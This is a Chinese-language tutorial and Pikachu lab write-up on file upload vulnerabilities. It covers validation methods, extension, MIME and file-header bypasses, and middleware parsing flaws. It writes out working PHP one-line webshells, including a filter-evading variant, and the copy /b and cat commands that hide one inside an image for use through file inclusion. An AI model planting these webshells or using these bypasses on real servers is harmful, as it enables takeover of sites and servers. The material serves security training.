文件上传pikachu靶场文件上传题目一、什么是文件上传文件上传功能是网站常见业务头像上传、附件上传、图片素材、文档提交等允许客户端把本地文件发送到服务器并保存。文件上传漏洞开发者过滤不严攻击者上传可执行脚本php/jsp/asp/python 等服务器解析执行脚本拿下网站甚至服务器权限。二、漏洞危害拿到网站 Webshell上传脚本后门增删文件、查数据库、操作网站后台服务器提权通过 webshell 执行系统命令获取服务器管理员权限横向渗透内网读取服务器内网信息攻击同网段其他主机挂马、篡改页面、数据泄露篡改首页、窃取用户数据、植入钓鱼页面挖矿、勒索病毒上传恶意程序长期占用服务器资源。三、常见上传校验方式前端 / 后端1. 前端校验最容易绕过仅 JS 限制后缀、文件大小、图片预览抓包改包即可绕过禁用 JS 再上传Burp 抓包修改文件名后缀2. 后端校验分类1后缀名校验黑名单 / 白名单黑名单禁止.php/.jsp/.asp等缺陷可使用变种后缀绕过php3/php5/phtml/phar、jspx、asa、cer 等白名单只允许.jpg/.png/.gif安全程度更高但仍存在绕过手段。2MIME 类型校验校验请求头Content-Type: image/jpeg抓包直接修改字段即可绕过。3文件头校验文件幻数读取文件二进制头部判断是否图片jpgFF D8 FFpng89 50 4E 47绕过图片马图片 脚本混合头部保留图片标识尾部写入脚本。4文件重命名 路径存储网站将上传文件统一改名如123.jpg并固定存于图片目录是有效防御若直接使用用户原始文件名极易触发解析漏洞。四、主流上传绕过手法1. 后缀名绕过大小写.PhP、.Jsp特殊后缀.php5、.phtml、.phar服务器配置允许解析时生效空字符截断xxx.php%00.jpg旧版 PHP5.3.4 存在 00 截断漏洞点后缀xxx.php.、xxx.php末尾加点 / 空格服务器自动去除2. 双后缀解析漏洞文件名xxx.jpg.phpApache 等服务器从后向前匹配后缀识别.php执行脚本。3. 图片马绕过文件头校验制作copy 1.jpg /b shell.php 2.jpg上传后配合文件包含漏洞包含图片马即可执行 PHP 代码单纯访问图片地址不会解析必须搭配文件包含。4. 路径解析漏洞中间件漏洞Apachexxx.php/.jpg识别路径内 php 文件执行Nginx 旧版本xxx.jpg/.php误将 jpg 当作 php 解析IISxxx.asp;.jpg分号截断解析 asp 脚本。5. 条件竞争上传服务器逻辑先保存文件到服务器再校验、删除非法文件利用多线程高速重复上传在删除前访问脚本执行代码。五.一句话木马和图片一、PHP 一句话木马基础版1. 经典一句话最常用php运行?php eval($_POST[cmd]); ?使用工具蚁剑 / 菜刀连接时密码填cmd。2. 变形免杀一句话绕过简单黑名单过滤php运行?php $a $_POST[a]; assert($a); ?连接密码a3. 简短隐藏版php运行?eval($_POST[x]);?二、图片马完整制作教程Windows / Linux 两种方法原理文件头部保留图片二进制标识尾部插入 PHP 代码绕过文件头校验单独访问图片不会执行需要搭配文件包含漏洞才能解析运行。方法 1Windows cmd 命令制作准备一张正常图片test.jpg 一句话文件shell.phpcmd 进入文件所在文件夹执行cmdcopy test.jpg /b shell.php shell.jpg/b代表二进制合并不会破坏图片格式生成shell.jpg打开图片能正常显示记事本打开末尾存在 php 木马代码。方法 2Linux /macOS 终端制作bash运行cat test.jpg shell.php shell.jpg三、配套利用方式本地靶场演示假设存在文件包含页面include.php?filexxx上传图片马shell.jpg后访问plaintexthttp://靶场地址/include.php?fileupload/shell.jpg蚁剑填入图片地址、对应连接密码即可连接服务器。四、补充绕过小技巧实训用后缀绕过shell.jpg.php、shell.phtml、shell.PHPMIME 绕过抓包修改Content-Type: image/jpeg点后缀shell.php.部分服务器自动清除末尾点题目pikachuleve1只允许上传图片我们就写一个txt文件里面有木马以及php可以用蚁剑帮我们生成需要先把路径就是url添加数据添加进去然后我们把txt改成png之后选择这个png发送用bp抓包把这个png改为php发送就获得了这个路径可以用蚁剑查看就成功了leve2MIME题目依旧只允许上传照片可尝试上一题的方法这里我们上传一个php文件但是通过改变这个type来实现绕过成功了获得了这个路径测试连通level3getimagesizegetimagesize是一个PHP函数用于获取图像文件的尺寸和类型。该函数可以接受一个图像文件的路径作为参数并返回一个包含图像宽度、高度和MIME类型的数组。上传一个php出现下面这个提示那么也就是说如果四非jpg/jpeg/png中的一个后端就会将后缀置为空下面就要尝试绕过限制抓包尝试经过尝试发现大小写绕过和双写绕过都不行这一关是getimagessize服务器端代码不但可以识别后缀名还可以识别图⽚内容。就是看你文件的文件头不同的文件又不同的文件头即便改了后缀文件头是不变的因此这里需要保证上传的文件是图片但是还是想要带上自己的php代码绕过方法我们可以考虑在正常图⽚⽂件内加⼊脚本代码实 现绕过